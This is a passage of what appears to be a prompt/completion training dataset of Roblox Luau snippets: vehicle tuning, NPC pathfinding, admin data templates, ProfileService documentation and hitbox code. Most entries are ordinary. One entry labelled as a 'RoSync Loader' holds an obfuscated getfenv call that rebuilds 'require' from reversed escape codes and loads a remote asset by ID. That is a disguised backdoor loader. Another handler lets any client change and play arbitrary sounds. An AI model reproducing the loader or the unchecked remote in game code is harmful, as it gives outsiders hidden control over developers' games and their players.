pairs(L_127_forvar2.Character:GetChildren()) do\n\t\t\t\tif L_129_forvar2:IsA('Tool') and L_129_forvar2:FindFirstChild('Resource') and L_129_forvar2.Resource:FindFirstChild('Events') and L_129_forvar2.Resource.Events:FindFirstChild('ServerFXEvent') then\n\t\t\t\t\tL_129_forvar2.Resource.Events.ServerFXEvent:FireClient(L_127_forvar2, L_125_arg2, L_2_)\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\tend\nend)\n\nL_44_.OnServerEvent:connect(function(L_130_arg1, L_131_arg2, L_132_arg3)\n\tL_131_arg2.SoundId = 'rbxassetid://' .. L_132_arg3\n\tL_131_arg2:Play()\nend)\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 100\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 800\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 8000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 9000\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 6100\n\tTune.PeakSharpness\t= 3.8\n\tTune.CurveMult\t\t= 0.07\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.5\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 450\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 150\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 0\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)\n\t"} +{"prompt": "--Run", "completion": "\nlocal ver=require(car[\"A-Chassis Tune\"].README)\nprint(\"//INSPARE: AC6 Loaded - Build \"..ver)\n\nwhile wait() do \n\tSteering()\n\tEngine()\n\tif _Tune.AutoFlip then Flip() end\n\t\n\t_IsOn = script.Parent.IsOn.Value\n\t_InControls = script.Parent.ControlsOpen.Value\n\tscript.Parent.Values.Gear.Value = _CGear\n\tscript.Parent.Values.RPM.Value = _RPM\n\tscript.Parent.Values.Horsepower.Value = _HP\n\tscript.Parent.Values.Torque.Value = _HP * 5250 / _RPM\n\tscript.Parent.Values.TransmissionMode.Value = _TMode\n\tscript.Parent.Values.Throttle.Value = _GThrot\n\tscript.Parent.Values.Brake.Value = _GBrake\n\tscript.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-_Tune.MinSteer))\n\tscript.Parent.Values.SteerT.Value = _GSteerT\n\tscript.Parent.Values.PBrake.Value = _PBrake\n\tscript.Parent.Values.TCS.Value = _TCS\n\tscript.Parent.Values.TCSActive.Value = _TCSActive\n\tscript.Parent.Values.Velocity.Value = car.DriveSeat.Velocity\n\n\tif _PGear~=_CGear then\n\t\t_PGear=_CGear\n\t\tcar.DriveSeat.MaxSpeed = car.DriveSeat.Velocity.Magnitude*(_Tune.Redline/_RPM) + script.Parent.Values.PSI.Value\n\tend\n\t\nend\n\n"} +{"prompt": "-- wandering ", "completion": "\nspawn(function()\n\twhile vars.Wandering.Value == false and human.Health > 0 do\t\n\t\tvars.Chasing.Value = false\t\n\t\tvars.Wandering.Value = true\n\t\tlocal desgx, desgz = hroot.Position.x+math.random(-WanderX,WanderX), hroot.Position.z+math.random(-WanderZ,WanderZ)\n\t\tlocal function checkw(t)\n\t\t\tlocal ci = 3\n\t\t\tif ci > #t then\n\t\t\t\tci = 3\n\t\t\tend\n\t\t\tif t[ci] == nil and ci < #t then\n\t\t\t\trepeat ci = ci + 1 wait() until t[ci] ~= nil\n\t\t\t\treturn Vector3.new(1,0,0) + t[ci]\n\t\t\telse\n\t\t\t\tci = 3\n\t\t\t\treturn t[ci]\n\t\t\tend\n\t\tend\n\t\t\n\t\tpath = pfs:FindPathAsync(hroot.Position, Vector3.new(desgx, 0, desgz))\n\t\twaypoint = path:GetWaypoints()\n\t\tlocal connection;\n\t\t\n\t\tlocal direct = Vector3.FromNormalId(Enum.NormalId.Front)\n\t\tlocal ncf = hroot.CFrame * CFrame.new(direct)\n\t\tdirect = ncf.p.unit\n\t\tlocal rootr = Ray.new(hroot.Position, direct)\n\t\tlocal phit, ppos = game.Workspace:FindPartOnRay(rootr, hroot)\n\t\t\n\t\tif path and waypoint or checkw(waypoint) then\n\t\t\tif checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then\n\t\t\t\thuman:MoveTo( checkw(waypoint).Position )\n\t\t\t\thuman.Jump = false\n\t\t\tend\n\t\t\t\n\t\t\tif checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Jump then\n\t\t\t\tconnection = human.Changed:connect(function()\n\t\t\t\t\thuman.Jump = true\n\t\t\t\tend)\n\t\t\t\thuman:MoveTo( waypoint[4].Position )\n\t\t\telse\n\t\t\t\thuman.Jump = false\n\t\t\tend\n\t\t\t\n\t\t\tif connection then\n\t\t\t\tconnection:Disconnect()\n\t\t\tend\n\t\t\t\n\t\telse\n\t\t\tfor i = 3, #waypoint do\n\t\t\t\thuman:MoveTo( waypoint[i].Position )\t\n\t\t\tend\n\t\tend\n\t\twait(math.random(4,6))\n\t\tvars.Wandering.Value = false\n\tend\nend)\n"} +{"prompt": "-- button", "completion": "\ndo\n\tbutton.__index = button\n\n\tfunction button:set_callback(callback: callback)\n\t\tif (self.connection) then\n\t\t\tself.connection:Disconnect()\n\t\tend\n\n\t\tself.connection = self.button.ImageButton.MouseButton1Click:Connect(callback)\n\tend\nend\n\nreturn sidebar\n"} +{"prompt": "-- << VARIABLES >>", "completion": "\nlocal autosaveInterval = 90\nlocal datastoreRetries = 3\nlocal DataVersion = main.settings.PlayerDataStoreVersion or \"V1.0\"\nlocal success, playerDataStore = pcall(function() return(main.dataStoreService:GetDataStore(\"HDAdminPlayerData\"..DataVersion)) end)\n\n\n"} +{"prompt": "-- services", "completion": "\n\nlocal ReplicatedStorage\t= game:GetService(\"ReplicatedStorage\")\nlocal TweenService\t\t= game:GetService(\"TweenService\")\nlocal Workspace\t\t\t= game:GetService(\"Workspace\")\nlocal Debris\t\t\t= game:GetService(\"Debris\")\n"} +{"prompt": "--[[ Last synced 3/7/2021 02:44 RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5722905184) --[[ ]]--\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 1500\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 900\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 8000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 8700\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 6500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "-- << LOCAL FUNCTIONS >>", "completion": "\nlocal defaultSettingsToAdd = {\"NoticeSoundId\", \"NoticeVolume\", \"NoticePitch\", \"ErrorSoundId\", \"ErrorVolume\", \"ErrorPitch\", \"AlertSoundId\", \"AlertVolume\", \"AlertPitch\", \"Prefix\", \"SplitKey\"}\nlocal defaultSettings = {}\ncoroutine.wrap(function()\n\tif not main.initialized then\n\t\tmain.client.Signals.Initialized.Event:Wait()\n\tend\n\tfor i,v in pairs(defaultSettingsToAdd) do\n\t\tdefaultSettings[v] = settings[v]\n\tend\nend)()\nlocal function getDataTemplate()\n\tif not main.initialized then\n\t\tmain.client.Signals.Initialized.Event:Wait()\n\tend\n\treturn{\n\t\t\n\t\tDataKey \t\t= 0;\n\t\tDataToUpdate\t= true;\n\t\tTheme\t\t\t= settings.Theme;\n\t\tNoticeSoundId\t= settings.NoticeSoundId;\n\t\tNoticeVolume\t= settings.NoticeVolume;\n\t\tNoticePitch\t\t= settings.NoticePitch;\n\t\tErrorSoundId\t= settings.ErrorSoundId;\n\t\tErrorVolume\t\t= settings.ErrorVolume;\n\t\tErrorPitch\t\t= settings.ErrorPitch;\n\t\tAlertSoundId\t= settings.AlertSoundId;\n\t\tAlertVolume\t\t= settings.AlertVolume;\n\t\tAlertPitch\t\t= settings.AlertPitch;\n\t\tPrefix \t\t\t= settings.Prefix;\n\t\tSplitKey\t\t= settings.SplitKey;\n\t\tMusicList \t\t= settings.MusicList;\n\t\tMuteLocalSound\t= false;\n\t\tPreviousServer \t= game.JobId;\n\t\tRank \t\t\t= 0;\n\t\tSaveRank\t\t= false;\n\t\tPermRankedBy\t= 3682;\n\t\tDonor \t\t\t= false;\n\t\tGamepasses \t\t= {};\n\t\tAssets \t\t\t= {};\n\t\t\n\t\tDefaultSettings = defaultSettings; --If the owner changes these Settings, then update everyones data to the new setting.\n\t\t\n\t\tGroups \t\t\t= {};\n\t\tFriends \t\t= {};\n\t\tCommandsActive \t= {};\n\t\tLaserColor \t\t= Color3.fromRGB(255,0,0);\n\t\tPromptedDonor\t= false;\n\t\tAutomaticRank\t= false;\n\t\tItems \t\t\t= {};\n\t\tSetupData\t\t= false;\n\t\t\n\t}\nend\n\nlocal function dataNotToSave()\n\treturn{\n\t\t\"Groups\";\n\t\t\"Friend\";\n\t\t\"CommandsActive\";\n\t\t\"LaserColor\";\n\t\t\"PromptedDonor\";\n\t\t\"AutomaticRank\";\n\t\t\"Items\";\n\t\t\"SetupData\"\n\t}\nend\n\n\n"} +{"prompt": "--- Creates or finds a hitbox object. Returns an hitbox object\n-- @param required object parameter that takes in either a part or a model", "completion": "\nfunction RaycastHitbox.new(object: any?)\n\tlocal hitbox: any\n\n\tif object and CollectionService:HasTag(object, DEFAULT_COLLECTION_TAG_NAME) then\n\t\thitbox = HitboxData:_FindHitbox(object)\n\telse\n\t\thitbox = setmetatable({\n\t\t\tRaycastParams = nil,\n\t\t\tDetectionMode = RaycastHitbox.DetectionMode.Default,\n\t\t\tHitboxRaycastPoints = {},\n\t\t\tHitboxPendingRemoval = false,\n\t\t\tHitboxStopTime = 0,\n\t\t\tHitboxObject = object,\n\t\t\tHitboxHitList = {},\n\t\t\tHitboxActive = false,\n\t\t\tVisualizer = SHOW_DEBUG_RAY_LINES,\n\t\t\tDebugLog = SHOW_OUTPUT_MESSAGES,\n\t\t\tOnUpdate = Signal:Create(),\n\t\t\tOnHit = Signal:Create(),\n\t\t\tTag = DEFAULT_COLLECTION_TAG_NAME,\n\t\t}, HitboxData)\n\n\t\thitbox:_Init()\n\tend\n\n\treturn hitbox\nend\n"} +{"prompt": "--This is the anti-max HP exploit script derived from the pirate hp script\n--The pirate hp script is in patchs/fixs titled \"OldControlHealth\"\n--Shura", "completion": "\nwait(2)\nlocal player = script.Parent.Parent"} +{"prompt": "-- local Madwork = _G.Madwork\n--[[\n{Madwork}\n\n-[ProfileService]---------------------------------------\n\t(STANDALONE VERSION)\n\tDataStore profiles - universal session-locked savable table API\n\t\n\tOfficial documentation:\n\t\thttps://madstudioroblox.github.io/ProfileService/\n\n\tDevForum discussion:\n\t\thttps://devforum.roblox.com/t/ProfileService/667805\n\t\n\tWARNINGS FOR \"Profile.Data\" VALUES:\n\t \t! Do not create numeric tables with gaps - attempting to replicate such tables will result in an error;\n\t\t! Do not create mixed tables (some values indexed by number and others by string key), as only\n\t\t the data indexed by number will be replicated.\n\t\t! Do not index tables by anything other than numbers and strings.\n\t\t! Do not reference Roblox Instances\n\t\t! Do not reference userdata (Vector3, Color3, CFrame...) - Serialize userdata before referencing\n\t\t! Do not reference functions\n\t\t\n\tWARNING: Calling ProfileStore:LoadProfileAsync() with a \"profile_key\" which wasn't released in the SAME SESSION will result\n\t\tin an error! If you want to \"ProfileStore:LoadProfileAsync()\" instead of using the already loaded profile, :Release()\n\t\tthe old Profile object.\n\t\t\n\tMembers:\n\t\n\t\tProfileService.ServiceLocked [bool]\n\t\t\n\t\tProfileService.IssueSignal [ScriptSignal] (error_message, profile_store_name, profile_key)\n\t\tProfileService.CorruptionSignal [ScriptSignal] (profile_store_name, profile_key)\n\t\tProfileService.CriticalStateSignal [ScriptSignal] (is_critical_state)\n\t\n\tFunctions:\n\t\n\t\tProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore]\n\t\t\tprofile_store_index [string] -- DataStore name\n\t\t\tOR\n\t\t\tprofile_store_index [table]: -- Allows the developer to define more GlobalDataStore variables\n\t\t\t\t{\n\t\t\t\t\tName = \"StoreName\", -- [string] -- DataStore name\n\t\t\t\t\t-- Optional arguments:\n\t\t\t\t\tScope = \"StoreScope\", -- [string] -- DataStore scope\n\t\t\t\t}\n\t\t\tprofile_template [table] -- Profiles will default to given table (hard-copy) when no data was saved previously\n\t\t\t\t\n\tMembers [ProfileStore]:\n\t\n\t\tProfileStore.Mock [ProfileStore] -- Reflection of ProfileStore methods, but the methods will use a mock DataStore\n\t\t\n\tMethods [ProfileStore]:\n\t\n\t\tProfileStore:LoadProfileAsync(profile_key, not_released_handler) --> [Profile / nil] not_released_handler(place_id, game_job_id)\n\t\tProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler) --> [GlobalUpdates / nil] (update_handler(GlobalUpdates))\n\t\t\t-- Returns GlobalUpdates object if update was successful, otherwise returns nil\n\t\t\n\t\tProfileStore:ViewProfileAsync(profile_key) --> [Profile / nil] -- Notice #1: Profile object methods will not be available;\n\t\t\tNotice #2: Profile object members will be nil (Profile.Data = nil, Profile.MetaData = nil) if the profile hasn't\n\t\t\tbeen created, with the exception of Profile.GlobalUpdates which could be empty or populated by\n\t\t\tProfileStore:GlobalUpdateProfileAsync()\n\t\t\t\n\t\tProfileStore:WipeProfileAsync(profile_key) --> is_wipe_successful [bool] -- Completely wipes out profile data from the\n\t\t\tDataStore / mock DataStore with no way to recover it.\n\t\t\n\t\t* Parameter description for \"ProfileStore:LoadProfileAsync()\":\n\t\t\n\t\t\tprofile_key [string] -- DataStore key\n\t\t\tnot_released_handler = \"ForceLoad\" -- Force loads profile on first call\n\t\t\tOR\n\t\t\tnot_released_handler = \"Steal\" -- Steals the profile ignoring it's session lock\n\t\t\tOR\n\t\t\tnot_released_handler [function] (place_id, game_job_id) --> [string] (\"Repeat\" / \"Cancel\" / \"ForceLoad\")\n\t\t\t\t-- \"not_released_handler\" will be triggered in cases where the profile is not released by a session. This\n\t\t\t\tfunction may yield for as long as desirable and must return one of three string values:\n\t\t\t\t\t[\"Repeat\"] - ProfileService will repeat the profile loading proccess and may trigger the release handler again\n\t\t\t\t\t[\"Cancel\"] - ProfileStore:LoadProfileAsync() will immediately return nil\n\t\t\t\t\t[\"ForceLoad\"] - ProfileService will repeat the profile loading call, but will return Profile object afterwards\n\t\t\t\t\t\tand release the profile for another session that has loaded the profile\n\t\t\t\t\t[\"Steal\"] - The profile will usually be loaded immediately, ignoring an existing remote session lock and applying\n\t\t\t\t\t\ta session lock for this session.\n\t\t\t\t\t\t\n\t\t* Parameter description for \"ProfileStore:GlobalUpdateProfileAsync()\":\n\t\t\n\t\t\tprofile_key [string] -- DataStore key\n\t\t\tupdate_handler [function] (GlobalUpdates) -- This function gains access to GlobalUpdates object methods\n\t\t\t\t(update_handler can't yield)\n\t\t\n\tMembers [Profile]:\n\t\n\t\tProfile.Data [table] -- Writable table that gets saved automatically and once the profile is released\n\t\tProfile.MetaData [table] (Read-only) -- Information about this profile\n\t\t\n\t\t\tProfile.MetaData.ProfileCreateTime [number] (Read-only) -- os.time() timestamp of profile creation\n\t\t\tProfile.MetaData.SessionLoadCount [number] (Read-only) -- Amount of times the profile was loaded\n\t\t\tProfile.MetaData.ActiveSession [table] (Read-only) {place_id, game_job_id} / nil -- Set to a session link if a\n\t\t\t\tgame session is currently having this profile loaded; nil if released\n\t\t\tProfile.MetaData.MetaTags [table] {[\"tag_name\"] = tag_value, ...} -- Saved and auto-saved just like Profile.Data\n\t\t\tProfile.MetaData.MetaTagsLatest [table] (Read-only) -- Latest version of MetaData.MetaTags that was definetly saved to DataStore\n\t\t\t\t(You can use Profile.MetaData.MetaTagsLatest for product purchase save confirmation, but create a system to clear old tags after\n\t\t\t\tthey pile up)\n\n\t\tProfile.MetaTagsUpdated [ScriptSignal] (meta_tags_latest) -- Fires after every auto-save, after\n\t\t\t--\tProfile.MetaData.MetaTagsLatest has been updated with the version that's guaranteed to be saved;\n\t\t\t-- .MetaTagsUpdated will fire regardless of whether .MetaTagsLatest changed after update;\n\t\t\t--\t.MetaTagsUpdated may fire after the Profile is released - changes to Profile.Data are not saved\n\t\t\t--\tafter release.\n\t\t\n\t\tProfile.GlobalUpdates [GlobalUpdates]\n\t\t\n\tMethods [Profile]:\n\t\n\t\t-- SAFE METHODS - Will not error after profile expires:\n\t\tProfile:IsActive() --> [bool] -- Returns true while the profile is active and can be written to\n\t\t\t\n\t\tProfile:GetMetaTag(tag_name) --> value\n\t\t\n\t\tProfile:Reconcile() -- Fills in missing (nil) [string_key] = [value] pairs to the Profile.Data structure\n\t\t\n\t\tProfile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil) -- WARNING: Profiles can be released externally if another session\n\t\t\tforce-loads this profile - use :ListenToRelease() to handle player leaving cleanup.\n\t\t\t\n\t\tProfile:Release() -- Call after the session has finished working with this profile\n\t\t\te.g., after the player leaves (Profile object will become expired) (Does not yield)\n\n\t\tProfile:ListenToHopReady(listener) --> [ScriptConnection] () -- Passed listener will be executed after the releasing UpdateAsync call finishes;\n\t\t\t--\tWrap universe teleport requests with this method AFTER releasing the profile to improve session lock sharing between universe places;\n\t\t\t-- :ListenToHopReady() will usually call the listener in around a second, but may ocassionally take up to 7 seconds when a release happens\n\t\t\t--\tnext to an auto-update in regular usage scenarios.\n\n\t\tProfile:Identify() --> [string] -- Returns a string containing DataStore name, scope and key; Used for debug;\n\t\t\t-- Example return: \"[Store:\"GameData\";Scope:\"Live\";Key:\"Player_2312310\"]\"\n\t\t\n\t\t-- DANGEROUS METHODS - Will error if the profile is expired:\n\t\t-- MetaTags - Save and read values stored in Profile.MetaData for storing info about the\n\t\t\tprofile itself like \"Profile:SetMetaTag(\"FirstTimeLoad\", true)\"\n\t\tProfile:SetMetaTag(tag_name, value)\n\t\t\n\t\tProfile:Save() -- Call to quickly progress global update state or to speed up save validation processes (Does not yield)\n\n\t\t\n\tMethods [GlobalUpdates]:\n\t\n\t-- ALWAYS PUBLIC:\n\t\tGlobalUpdates:GetActiveUpdates() --> [table] {{update_id, update_data}, ...}\n\t\tGlobalUpdates:GetLockedUpdates() --> [table] {{update_id, update_data}, ...}\n\t\t\n\t-- ONLY WHEN FROM \"Profile.GlobalUpdates\":\n\t\tGlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)\n\t\tGlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)\n\t\t-- WARNING: GlobalUpdates:LockUpdate() and GlobalUpdates:ClearLockedUpdate() will error after profile expires\n\t\tGlobalUpdates:LockActiveUpdate(update_id)\n\t\tGlobalUpdates:ClearLockedUpdate(update_id)\n\t\t\n\t-- EXPOSED TO \"update_handler\" DURING ProfileStore:GlobalUpdateProfileAsync() CALL\n\t\tGlobalUpdates:AddActiveUpdate(update_data)\n\t\tGlobalUpdates:ChangeActiveUpdate(update_id, update_data)\n\t\tGlobalUpdates:ClearActiveUpdate(update_id)\n\t\t\n--]]", "completion": "\n\nlocal SETTINGS = {\n\n\tAutoSaveProfiles = 30, -- Seconds (This value may vary - ProfileService will split the auto save load evenly in the given time)\n\tRobloxWriteCooldown = 7, -- Seconds between successive DataStore calls for the same key\n\tForceLoadMaxSteps = 8, -- Steps taken before ForceLoad request steals the active session for a profile\n\tAssumeDeadSessionLock = 30 * 60, -- (seconds) If a profile hasn't been updated for 30 minutes, assume the session lock is dead\n\t\t-- As of writing, os.time() is not completely reliable, so we can only assume session locks are dead after a significant amount of time.\n\t\n\tIssueCountForCriticalState = 5, -- Issues to collect to announce critical state\n\tIssueLast = 120, -- Seconds\n\tCriticalStateLast = 120, -- Seconds\n\t\n\tMetaTagsUpdatedValues = { -- Technical stuff - do not alter\n\t\tProfileCreateTime = true,\n\t\tSessionLoadCount = true,\n\t\tActiveSession = true,\n\t\tForceLoadSession = true,\n\t\tLastUpdate = true,\n\t}\n\t\n}\n\nlocal Madwork -- Standalone Madwork reference for portable version of ProfileService\ndo\n\n\tlocal MadworkScriptSignal = {}\n\t\n\tlocal ScriptConnection = {}\n\t\n\tfunction ScriptConnection:Disconnect()\n\t\tlocal listener = self._listener\n\t\tif listener ~= nil then\n\t\t\tlocal script_signal = self._script_signal\n\t\t\tlocal fire_pointer_stack = script_signal._fire_pointer_stack\n\t\t\tlocal listeners_next = script_signal._listeners_next\n\t\t\tlocal listeners_back = script_signal._listeners_back\n\t\t\t-- Check fire pointers:\n\t\t\tfor i = 1, script_signal._stack_count do\n\t\t\t\tif fire_pointer_stack[i] == listener then\n\t\t\t\t\tfire_pointer_stack[i] = listeners_next[listener]\n\t\t\t\tend\n\t\t\tend\n\t\t\t-- Remove listener:\n\t\t\tif script_signal._tail_listener == listener then\n\t\t\t\tlocal new_tail = listeners_back[listener]\n\t\t\t\tif new_tail ~= nil then\n\t\t\t\t\tlisteners_next[new_tail] = nil\n\t\t\t\t\tlisteners_back[listener] = nil\n\t\t\t\telse\n\t\t\t\t\tscript_signal._head_listener = nil -- tail was also head\n\t\t\t\tend\n\t\t\t\tscript_signal._tail_listener = new_tail\n\t\t\telseif script_signal._head_listener == listener then\n\t\t\t\t-- If this listener is not the tail, assume another listener is the tail:\n\t\t\t\tlocal new_head = listeners_next[listener]\n\t\t\t\tlisteners_back[new_head] = nil\n\t\t\t\tlisteners_next[listener] = nil\n\t\t\t\tscript_signal._head_listener = new_head\n\t\t\telse\n\t\t\t\tlocal next_listener = listeners_next[listener]\n\t\t\t\tlocal back_listener = listeners_back[listener]\n\t\t\t\tif next_listener ~= nil or back_listener ~= nil then -- Catch cases when duplicate listeners are disconnected\n\t\t\t\t\tlisteners_next[back_listener] = next_listener\n\t\t\t\t\tlisteners_back[next_listener] = back_listener\n\t\t\t\t\tlisteners_next[listener] = nil\n\t\t\t\t\tlisteners_back[listener] = nil\n\t\t\t\tend\n\t\t\tend\n\t\t\tself._listener = nil\n\t\t\tscript_signal._listener_count -= 1\n\t\tend\n\t\tif self._disconnect_listener ~= nil then\n\t\t\tself._disconnect_listener(self._disconnect_param)\n\t\t\tself._disconnect_listener = nil\n\t\tend\n\tend\n\t\n\tlocal ScriptSignal = {}\n\t\n\tfunction ScriptSignal:Connect(listener, disconnect_listener, disconnect_param) --> [ScriptConnection]\n\t\tif type(listener) ~= \"function\" then\n\t\t\terror(\"[MadworkScriptSignal]: Only functions can be passed to ScriptSignal:Connect()\")\n\t\tend\n\t\tlocal tail_listener = self._tail_listener\n\t\tif tail_listener == nil then\n\t\t\tself._head_listener = listener\n\t\t\tself._tail_listener = listener\n\t\t\tself._listener_count += 1\n\t\telseif tail_listener ~= listener and self._listeners_next[listener] == nil then -- Prevent connecting the same listener more than once\n\t\t\tself._listeners_next[tail_listener] = listener\n\t\t\tself._listeners_back[listener] = tail_listener\n\t\t\tself._tail_listener = listener\n\t\t\tself._listener_count += 1\n\t\tend\n\t\treturn {\n\t\t\t_listener = listener,\n\t\t\t_script_signal = self,\n\t\t\t_disconnect_listener = disconnect_listener,\n\t\t\t_disconnect_param = disconnect_param,\n\t\t\tDisconnect = ScriptConnection.Disconnect\n\t\t}\n\tend\n\t\n\tfunction ScriptSignal:GetListenerCount()\n\t\treturn self._listener_count\n\tend\n\t\n\tfunction ScriptSignal:Fire(...)\n\t\tlocal fire_pointer_stack = self._fire_pointer_stack\n\t\tlocal stack_id = self._stack_count + 1\n\t\tself._stack_count = stack_id\n\t\t\n\t\tlocal listeners_next = self._listeners_next\n\t\tfire_pointer_stack[stack_id] = self._head_listener\n\t\twhile true do\n\t\t\tlocal pointer = fire_pointer_stack[stack_id]\n\t\t\tfire_pointer_stack[stack_id] = listeners_next[pointer]\n\t\t\tif pointer ~= nil then\n\t\t\t\tcoroutine.wrap(pointer)(...)\n\t\t\telse\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tself._stack_count -= 1\n\tend\n\n\tfunction ScriptSignal:FireUntil(continue_callback, ...)\n\t\tlocal fire_pointer_stack = self._fire_pointer_stack\n\t\tlocal stack_id = self._stack_count + 1\n\t\tself._stack_count = stack_id\n\t\n\t\tlocal listeners_next = self._listeners_next\n\t\tfire_pointer_stack[stack_id] = self._head_listener\n\t\twhile true do\n\t\t\tlocal pointer = fire_pointer_stack[stack_id]\n\t\t\tfire_pointer_stack[stack_id] = listeners_next[pointer]\n\t\t\tif pointer ~= nil then\n\t\t\t\tcoroutine.wrap(pointer)(...)\n\t\t\t\tif continue_callback() ~= true then\n\t\t\t\t\tfire_pointer_stack[stack_id] = nil\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tself._stack_count -= 1\n\tend\n\t\n\tfunction MadworkScriptSignal.NewScriptSignal() --> [ScriptSignal]\n\t\treturn {\n\t\t\t_fire_pointer_stack = {},\n\t\t\t_stack_count = 0,\n\t\t\t_listener_count = 0,\n\t\t\t_listeners_next = {},\n\t\t\t_listeners_back = {},\n\t\t\t_head_listener = nil,\n\t\t\t_tail_listener = nil,\n\t\t\tConnect = ScriptSignal.Connect,\n\t\t\tGetListenerCount = ScriptSignal.GetListenerCount,\n\t\t\tFire = ScriptSignal.Fire,\n\t\t\tFireUntil = ScriptSignal.FireUntil,\n\t\t}\n\tend\n\t\n\tlocal RunService = game:GetService(\"RunService\")\n\tlocal Heartbeat = RunService.Heartbeat\n\t\n\tMadwork = {\n\t\tNewScriptSignal = MadworkScriptSignal.NewScriptSignal,\n\t\tHeartbeatWait = function(wait_time) --> time_elapsed\n\t\t\tif wait_time == nil or wait_time == 0 then\n\t\t\t\treturn Heartbeat:Wait()\n\t\t\telse\n\t\t\t\tlocal time_elapsed = 0\n\t\t\t\twhile time_elapsed <= wait_time do\n\t\t\t\t\tlocal time_waited = Heartbeat:Wait()\n\t\t\t\t\ttime_elapsed = time_elapsed + time_waited\n\t\t\t\tend\n\t\t\t\treturn time_elapsed\n\t\t\tend\n\t\tend,\n\t\tConnectToOnClose = function(task, run_in_studio_mode)\n\t\t\tif game:GetService(\"RunService\"):IsStudio() == false or run_in_studio_mode == true then\n\t\t\t\tgame:BindToClose(task)\n\t\t\tend\n\t\tend,\n\t}\nend\n"} +{"prompt": "--[[ Constants ]]--\n-- Set this to true if you want to instead use the triggers for the throttle", "completion": "\nlocal useTriggersForThrottle = true"} +{"prompt": "-- (Hat Giver Script - Loaded.)", "completion": "\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Hat\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"Handle\"\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(2,2,2) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentPos = Vector3.new(0, 0, 0)\n\t\twait(5)\n\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "-- Reparents an instance and outputs helpful logging information so we can see\n-- where instances are going at runtime.", "completion": "\nlocal function move(instance: Instance, newParent: Instance)\n\tinstance.Parent = newParent\n\tlog(\"move\", (\"%s -> %s\"):format(instance.Name, instance:GetFullName()))\nend\n"} +{"prompt": "-- Add tracer decal to server storage if it isn't already there", "completion": "\nif not game.ServerStorage:FindFirstChild(\"ROBLOX_PistolTracerDecal\") then\n\ttool.ROBLOX_PistolTracerDecal:Clone().Parent = game.ServerStorage\nend\n"} +{"prompt": "-- ON STARTUP", "completion": "\nif IS_MOBILE then\n\tInteractionBillboardButton.Image = MOBILE_IMAGE\nelseif IS_CONSOLE then\n\tInteractionBillboardButton.Image = CONSOLE_IMAGE\nelse\n\tInteractionBillboardButton.Image = DEFAULT_IMAGE\nend\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 1.5\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .3\t\t-- Pre-compression adds resting length 